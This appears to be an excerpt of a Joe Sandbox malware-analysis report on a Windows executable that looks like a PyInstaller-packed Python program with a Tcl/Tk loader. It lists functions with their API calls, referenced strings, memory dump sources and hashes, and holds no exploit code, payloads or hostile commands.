%s: table does not support scanning, xrefs: 00007FF8A8AB0875

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: %s: table does not support scanning$ASC$DESC$SELECT rowid, rank FROM %Q.%Q ORDER BY %s("%w"%s%s) %s$bm25$parse error in rank function: %s$recursively defined fts5 content table
API String ID: 0-2143700817
Opcode ID: 17d06ec423a450f6088d13a27b41f24ebc596642041a587311dd907bfb124681
Instruction ID: 8070c4f3201ef4acf50b524eca06d5f399030e95be8081c91e01b04daa4cbfb8
Opcode Fuzzy Hash: 17d06ec423a450f6088d13a27b41f24ebc596642041a587311dd907bfb124681
Instruction Fuzzy Hash: 81123C62A0BB42ABEA64CB26E45537A77A0FB84BC0F048535DA8E47751EF3CF854C315

Function 00007FF6929E7810 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,00007FF6929E7D69,00007FF6929E33D2), ref: 00007FF6929E787B
RemoveDirectoryW.KERNEL32 ref: 00007FF6929E78FE
DeleteFileW.KERNEL32 ref: 00007FF6929E791D
FindNextFileW.KERNEL32 ref: 00007FF6929E792B
FindClose.KERNEL32 ref: 00007FF6929E793C
RemoveDirectoryW.KERNEL32 ref: 00007FF6929E7945

Strings

%s\*, xrefs: 00007FF6929E7842

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 343af2bfc0ab8bb2bc733d9f2e0ab65458cb9c59f463d288286f5b9e53df958b
Instruction ID: 6e225ffd54d408007d9b6fe169e1d6744bc61d51c95e97c760e6c988ee9d49f5
Opcode Fuzzy Hash: 343af2bfc0ab8bb2bc733d9f2e0ab65458cb9c59f463d288286f5b9e53df958b
Instruction Fuzzy Hash: 14416332A0C98381FB30AB25E4585FD63A0FFA9758F500272D59EC2695DFBCD54AC701

Function 00007FF6929EC69C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6929EC6B8
RtlCaptureContext.KERNEL32 ref: 00007FF6929EC6E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6929EC6FF
RtlVirtualUnwind.KERNEL32 ref: 00007FF6929EC740
IsDebuggerPresent.KERNEL32 ref: 00007FF6929EC794
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6929EC7B1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6929EC7BC

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 4c3f9a964b5662b5dbbc0689ef1495c1f66ffbf8daaed71a8dc58c0a28c42fd7
Instruction ID: d519b0632a61c3aa77758cfc235c8f88ed80c5fedf7e60576d3803984911ad22
Opcode Fuzzy Hash: 4c3f9a964b5662b5dbbc0689ef1495c1f66ffbf8daaed71a8dc58c0a28c42fd7
Instruction Fuzzy Hash: FD311C73608A8186FB709F61E8507EE7364FB89748F44443ADA4D87B95EFB8D648C710

Function 00007FF8A8996E7E Relevance: 9.5, APIs: 2, Strings: 4, Instructions: 465COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00007FF8A8996FF4
VUUU, xrefs: 00007FF8A8997119
-x0, xrefs: 00007FF8A899718F
0123456789ABCDEF0123456789abcdef, xrefs: 00007FF8A89970A8

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: -x0$0123456789ABCDEF0123456789abcdef$VUUU$VUUU
API String ID: 0-2031831958
Opcode ID: 8beffe339e3bba9e780d5f06f91e708b8b68eb0c2d0a7a7cc8a45d5c7db09df1
Instruction ID: c89895640c0e64a6a42a7f1985e804456e0a3a6d1131d55d696a89fd1e4fec4c
Opcode Fuzzy Hash: 8beffe339e3bba9e780d5f06f91e708b8b68eb0c2d0a7a7cc8a45d5c7db09df1
Instruction Fuzzy Hash: 10120632A0EA81A6EB658F18D4587B977A0FF457C6F0C4035DA8E476A1EF3DE441C728

Function 00007FF692A06E10 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF692A06E55

Part of subcall function 00007FF692A067A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A067BC

Part of subcall function 00007FF6929FB404: RtlFreeHeap.NTDLL(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB41A
Part of subcall function 00007FF6929FB404: GetLastError.KERNEL32(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB424

Part of subcall function 00007FF6929FB7E4: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6929FB7C3,?,?,?,?,?,00007FF6929FB6AE), ref: 00007FF6929FB7ED
Part of subcall function 00007FF6929FB7E4: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6929FB7C3,?,?,?,?,?,00007FF6929FB6AE), ref: 00007FF6929FB812

_get_daylight.LIBCMT ref: 00007FF692A06E44

Part of subcall function 00007FF692A06808: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A0681C

_get_daylight.LIBCMT ref: 00007FF692A070BA
_get_daylight.LIBCMT ref: 00007FF692A070CB
_get_daylight.LIBCMT ref: 00007FF692A070DC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF692A0731C), ref: 00007FF692A07103

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 894310a77b3b939ef206867b0adab4477506e1b9d981cd9488086050b66edecf
Instruction ID: 85f37865cee7e5d7d86a8413cd6ba27b1439693cb628d919514aaecf03f13e0a
Opcode Fuzzy Hash: 894310a77b3b939ef206867b0adab4477506e1b9d981cd9488086050b66edecf
Instruction Fuzzy Hash: C4D1E067A482428AFB34DF26D8501B967A1FF85B9CF404176EA0DC7696DFBCE842C740

Function 00007FF6929FB4F8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6929FB571
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6929FB589
RtlVirtualUnwind.KERNEL32 ref: 00007FF6929FB5C4
IsDebuggerPresent.KERNEL32 ref: 00007FF6929FB5FD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6929FB607
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6929FB612

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: c2ba82a54335b4e9d04d7430b1e7b135fe56bba1662feab656e26de9ce49381a
Instruction ID: 2a8c031a1b65c9ddb2e040cc1bd4fe2b29ae71979e345d62cd144e0be7fdc643
Opcode Fuzzy Hash: c2ba82a54335b4e9d04d7430b1e7b135fe56bba1662feab656e26de9ce49381a
Instruction Fuzzy Hash: 9F317C33608F8186EB708F25E8502AE77A0FB89758F500136EA9D83B99DF7CC545CB00

Function 00007FF8A89C90C0 Relevance: 8.0, APIs: 2, Strings: 3, Instructions: 485COMMON

Download Yara Rule

Strings

1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886, xrefs: 00007FF8A89C9253, 00007FF8A89C98C7
%s at line %d of [%.10s], xrefs: 00007FF8A89C926C, 00007FF8A89C98E0
database corruption, xrefs: 00007FF8A89C9260, 00007FF8A89C98D4

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886$database corruption
API String ID: 0-1728192754
Opcode ID: ed9d5b69f2cb99a6ea461cbe27942a8a792d05d46135609f8c41e5e5c5fd4f7b
Instruction ID: 2e39313ed6d457b439d735fc4f2d7ea75abbf795551d7824be104dd60977174f
Opcode Fuzzy Hash: ed9d5b69f2cb99a6ea461cbe27942a8a792d05d46135609f8c41e5e5c5fd4f7b
Instruction Fuzzy Hash: 1C1269A2F0E6926EE7208B2590483BA7791EF897C1F184131DB9E436C1DF2FE841C724

Function 00007FF692A02A84 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF692A02AD0
FindFirstFileExW.KERNEL32 ref: 00007FF692A02BDA

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 32354c12137473f88fc301bcfa2a47498a0230f678801c7330137ef8062788be
Instruction ID: 32bc1c78434a052d25c2e6a61a96853f9757ba9d9c0f033f2f4d5173830cde65
Opcode Fuzzy Hash: 32354c12137473f88fc301bcfa2a47498a0230f678801c7330137ef8062788be
Instruction Fuzzy Hash: 20B1C423B5879241FB719F2298106BA6760EB56BE8F444172EE5E87BC5DEBCE841C700

Function 00007FF8A89B8880 Relevance: 6.6, APIs: 5, Instructions: 360COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A89B8A12
memset.VCRUNTIME140 ref: 00007FF8A89B8A23
memmove.VCRUNTIME140 ref: 00007FF8A89B8A98
memmove.VCRUNTIME140 ref: 00007FF8A89B8AB0
memset.VCRUNTIME140 ref: 00007FF8A89B8ABF

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove$memset
String ID:
API String ID: 3790616698-0
Opcode ID: 4aee20d70576d48772f8ca62b5e4d3adfabd640b8e6361f1d90baffb68fda6d4
Instruction ID: 34fc87c4668dedff5d0132125e88604075f8ceecbf8d8a35ef5746ff12dfdce4
Opcode Fuzzy Hash: 4aee20d70576d48772f8ca62b5e4d3adfabd640b8e6361f1d90baffb68fda6d4
Instruction Fuzzy Hash: 74E11E72A0E7819AEBA08E26D04C7AD7791FB48BC5F088036EE4E53785DF3DE4558316

Function 00007FF692A0708C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF692A070BA

Part of subcall function 00007FF692A06808: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A0681C

_get_daylight.LIBCMT ref: 00007FF692A070CB

Part of subcall function 00007FF692A067A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A067BC

_get_daylight.LIBCMT ref: 00007FF692A070DC

Part of subcall function 00007FF692A067D8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A067EC

Part of subcall function 00007FF6929FB404: RtlFreeHeap.NTDLL(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB41A
Part of subcall function 00007FF6929FB404: GetLastError.KERNEL32(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB424

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF692A0731C), ref: 00007FF692A07103

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 366357b761470030cfef413778487e18a877c09c25dbeb354349ed8e19cf56e7
Instruction ID: 87e98b1eed4507f024dda0f5dceede4154c5a7a1304f59c38f15aab8a97bf8fb
Opcode Fuzzy Hash: 366357b761470030cfef413778487e18a877c09c25dbeb354349ed8e19cf56e7
Instruction Fuzzy Hash: C251A073A486428AF734DF22E9911B967A0FB4978CF4051B5EA0DC3696DFBCE841C740

Function 00007FF6929E4C50 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4C60
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4C72
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4CA9
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4CBB
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4CD4
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4CE6
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4CFF
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4D11
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4D2D
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4D3F
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4D5B
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4D6D
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4D89
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4D9B
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4DB7
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4DC9
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4DE5
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4DF7

Strings

PyUnicode_FromFormat, xrefs: 00007FF6929E536D, 00007FF6929E538F
PyUnicode_Decode, xrefs: 00007FF6929E5311, 00007FF6929E5333
PyErr_NormalizeException, xrefs: 00007FF6929E4F1D, 00007FF6929E4F3F
PyObject_Str, xrefs: 00007FF6929E51CF, 00007FF6929E51F1
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF6929E51FD, 00007FF6929E521F
PyUnicode_DecodeFSDefault, xrefs: 00007FF6929E533F, 00007FF6929E5361
PyConfig_InitIsolatedConfig, xrefs: 00007FF6929E4DDB, 00007FF6929E4DFD
PyObject_CallFunctionObjArgs, xrefs: 00007FF6929E5145, 00007FF6929E5167
PyObject_GetAttrString, xrefs: 00007FF6929E5173, 00007FF6929E5195
PyModule_GetDict, xrefs: 00007FF6929E50E9, 00007FF6929E510B
PyUnicode_FromString, xrefs: 00007FF6929E539B, 00007FF6929E53BD
PyUnicode_Replace, xrefs: 00007FF6929E53F7, 00007FF6929E5419
PyMarshal_ReadObjectFromString, xrefs: 00007FF6929E508D, 00007FF6929E50AF
PyMem_RawFree, xrefs: 00007FF6929E50BB, 00007FF6929E50DD
PyErr_Print, xrefs: 00007FF6929E4F79, 00007FF6929E4F9B
PyUnicode_Join, xrefs: 00007FF6929E53C9, 00007FF6929E53EB
PyErr_Occurred, xrefs: 00007FF6929E4F4B, 00007FF6929E4F6D
Py_ExitStatusException, xrefs: 00007FF6929E4CCA, 00007FF6929E4CEC
PySys_SetObject, xrefs: 00007FF6929E52B5, 00007FF6929E52D7
PyConfig_SetBytesString, xrefs: 00007FF6929E4E37, 00007FF6929E4E59
Py_InitializeFromConfig, xrefs: 00007FF6929E4D23, 00007FF6929E4D45
PyConfig_SetWideStringList, xrefs: 00007FF6929E4E93, 00007FF6929E4EB5
PyErr_Restore, xrefs: 00007FF6929E4FA7, 00007FF6929E4FC9
Failed to get address for %hs, xrefs: 00007FF6929E4C81
GetProcAddress, xrefs: 00007FF6929E4C88
PySys_GetObject, xrefs: 00007FF6929E5287, 00007FF6929E52A9
PyStatus_Exception, xrefs: 00007FF6929E5259, 00007FF6929E527B
PyErr_Fetch, xrefs: 00007FF6929E4EEF, 00007FF6929E4F11
PyConfig_Read, xrefs: 00007FF6929E4E09, 00007FF6929E4E2B
PyEval_EvalCode, xrefs: 00007FF6929E4FD5, 00007FF6929E4FF7
PyRun_SimpleStringFlags, xrefs: 00007FF6929E522B, 00007FF6929E524D
Py_IsInitialized, xrefs: 00007FF6929E4D51, 00007FF6929E4D73
Py_DecRef, xrefs: 00007FF6929E4C56, 00007FF6929E4C78
PyConfig_Clear, xrefs: 00007FF6929E4DAD, 00007FF6929E4DCF
PyObject_SetAttrString, xrefs: 00007FF6929E51A1, 00007FF6929E51C3
PyImport_ImportModule, xrefs: 00007FF6929E505F, 00007FF6929E5081
PyImport_ExecCodeModule, xrefs: 00007FF6929E5031, 00007FF6929E5053
Py_Finalize, xrefs: 00007FF6929E4CF5, 00007FF6929E4D17
Py_PreInitialize, xrefs: 00007FF6929E4D7F, 00007FF6929E4DA1
Py_DecodeLocale, xrefs: 00007FF6929E4C9F, 00007FF6929E4CC1
PyImport_AddModule, xrefs: 00007FF6929E5003, 00007FF6929E5025
PyUnicode_AsUTF8, xrefs: 00007FF6929E52E3, 00007FF6929E5305
PyConfig_SetString, xrefs: 00007FF6929E4E65, 00007FF6929E4E87
PyObject_CallFunction, xrefs: 00007FF6929E5117, 00007FF6929E5139
PyErr_Clear, xrefs: 00007FF6929E4EC1, 00007FF6929E4EE3

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: d85cd9fcf26276e168e517ee9abf5ede364ec1e9effdf9a011e7fffbe194a537
Instruction ID: ee1be4bea51cce0ff3f0041d6f97c353031980b8f845eb959af0d4ef59bdaa4a
Opcode Fuzzy Hash: d85cd9fcf26276e168e517ee9abf5ede364ec1e9effdf9a011e7fffbe194a537
Instruction Fuzzy Hash: CA229172D89F0792FB78AF65B9486B423A0FF1A74DB8414B5D40E86261EFFCB459D200

Function 00007FF6929E6B10 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6929E6B27
GetLastError.KERNEL32 ref: 00007FF6929E6B39
GetProcAddress.KERNEL32 ref: 00007FF6929E6B75
GetLastError.KERNEL32 ref: 00007FF6929E6B87
GetProcAddress.KERNEL32 ref: 00007FF6929E6BA0
GetLastError.KERNEL32 ref: 00007FF6929E6BB2
GetProcAddress.KERNEL32 ref: 00007FF6929E6BCB
GetLastError.KERNEL32 ref: 00007FF6929E6BDD
GetProcAddress.KERNEL32 ref: 00007FF6929E6BF9
GetLastError.KERNEL32 ref: 00007FF6929E6C0B
GetProcAddress.KERNEL32 ref: 00007FF6929E6C27
GetLastError.KERNEL32 ref: 00007FF6929E6C39
GetProcAddress.KERNEL32 ref: 00007FF6929E6C55
GetLastError.KERNEL32 ref: 00007FF6929E6C67
GetProcAddress.KERNEL32 ref: 00007FF6929E6C83
GetLastError.KERNEL32 ref: 00007FF6929E6C95
GetProcAddress.KERNEL32 ref: 00007FF6929E6CB1
GetLastError.KERNEL32 ref: 00007FF6929E6CC3

Strings

Tcl_GetString, xrefs: 00007FF6929E6EFD, 00007FF6929E6F1F
Tcl_Finalize, xrefs: 00007FF6929E6BEF, 00007FF6929E6C11
Tcl_NewByteArrayObj, xrefs: 00007FF6929E6F59, 00007FF6929E6F7B
Tcl_EvalObjv, xrefs: 00007FF6929E703F, 00007FF6929E7061
Tcl_SetVar2Ex, xrefs: 00007FF6929E6F87, 00007FF6929E6FA9
Tcl_EvalEx, xrefs: 00007FF6929E7011, 00007FF6929E7033
Tcl_ConditionWait, xrefs: 00007FF6929E6DE9, 00007FF6929E6E0B
Tcl_MutexUnlock, xrefs: 00007FF6929E6D31, 00007FF6929E6D53
Tcl_FinalizeThread, xrefs: 00007FF6929E6C1D, 00007FF6929E6C3F
Tk_Init, xrefs: 00007FF6929E70C9, 00007FF6929E70EB
Tcl_JoinThread, xrefs: 00007FF6929E6CD5, 00007FF6929E6CF7
Tcl_ThreadQueueEvent, xrefs: 00007FF6929E6E17, 00007FF6929E6E39
Tcl_FindExecutable, xrefs: 00007FF6929E6B96, 00007FF6929E6BB8
Tcl_ConditionNotify, xrefs: 00007FF6929E6DBB, 00007FF6929E6DDD
Tcl_Alloc, xrefs: 00007FF6929E706D, 00007FF6929E708F
